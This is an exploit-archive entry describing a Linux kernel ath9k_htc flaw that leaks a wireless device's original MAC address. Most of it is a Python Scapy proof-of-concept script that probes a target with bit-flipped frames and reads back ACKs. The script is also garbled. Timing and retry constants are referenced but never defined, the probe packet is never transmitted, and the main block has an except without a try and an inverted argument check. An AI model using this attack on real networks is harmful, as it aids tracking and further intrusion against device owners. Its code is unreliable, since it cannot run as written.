Linux Kernel 3.0.5 - ath9k_htc_set_bssid_mask() Information Disclosure

Type exploitpack
Reporter Mathy Vanhoef
Modified 2013-12-10T00:00:00


Linux Kernel 3.0.5 - ath9k_htc_set_bssid_mask() Information Disclosure


Linux Kernel is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks.

Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. 

import logging
from scapy.all import *
import random

# number of times to inject probe for one bit (combat packet loss)
# time to wait for ACK in seconds

def randmac():
	mac = [0] * 6
	for i in xrange(6):
		mac[i] = random.randint(0, 256)

	# avoid multicast/broadcast mac
	mac[0] = mac[0] & 0xFE

	return ":".join([format(byte, '02x') for byte in mac])

def parsemac(macstr):
	parts = macstr.replace("-", ":").split(":")
	if len(parts) != 6:
		raise ValueError("MAC does not consist of 6 parts (separated by : or -)")

	return [int(byte, 16) for byte in parts]

def is_ack(p):
	return Dot11 in p and p.type == 1 and p.subtype == 13

def find_fixed_bits(s, mac):
	# eventually contains the real MAC address
	orgmac = [0] * 6

	# random MAC address, used as sender, to which the target will send an ACK
	srcmac = randmac()

	# for all the bits - FIXME: Don't consider H.O. bit of first MAC byte
	for i in range(6):
		for bit in range(8):
			# flip the bit at current position
			currbit = mac[i] & (1 << bit)
			mac[i] ^= (1 << bit)

			# convert modified mac to string
			strmac = ":".join([format(byte, '02x') for byte in mac])
			print "Probing", strmac, "...",

			replied = False
			for attempt in range(ATTEMPTS_PER_BIT):
				# inject data packet to modified MAC address
				packet = Dot11(type="Data", subtype=4, FCfield="from-DS",
						addr1=strmac, addr2=srcmac, addr3=strmac)

				# Sniff air for ACK to modified MAC
				l = sniff(lfilter=lambda p: is_ack(p) and p.addr1 == srcmac, count=1,
						timeout=SNIFFTIME, opened_socket=s)

				# We we got an ACK, don't need to try again
				if len(l) == 1:
					replied = True

			print replied

			# If client replied, original bit is different from the one currently set,
			# otherwise it's equal to original bit.
			if replied:
				orgmac[i] |= (~currbit) & (1 << bit)
				orgmac[i] |= currbit

			# flip bit back to original value
			mac[i] ^= (1 << bit)

	# Done, return original MAC
	return orgmac

if __name__ == "__main__":
	if len(sys.argv) != 3:
		print "Usage:", sys.argv[0], "interface macaddr"

		mac = parsemac(sys.argv[2])
		conf.iface = sys.argv[1]


		# Open up read/write socket so we don't miss the ACK
		L2socket = conf.L2socket
		s = L2socket(type=ETH_P_ALL, iface=conf.iface)

		# Now find the MAC
		orgmac = find_fixed_bits(s, mac)

		print "\nReal MAC address:", ":".join(format(byte, "02x") for byte in orgmac), "\n"
	except ValueError, e:
		print "Invalid MAC address:", e
	except socket.error, e:
		print "Error with provided interface:", e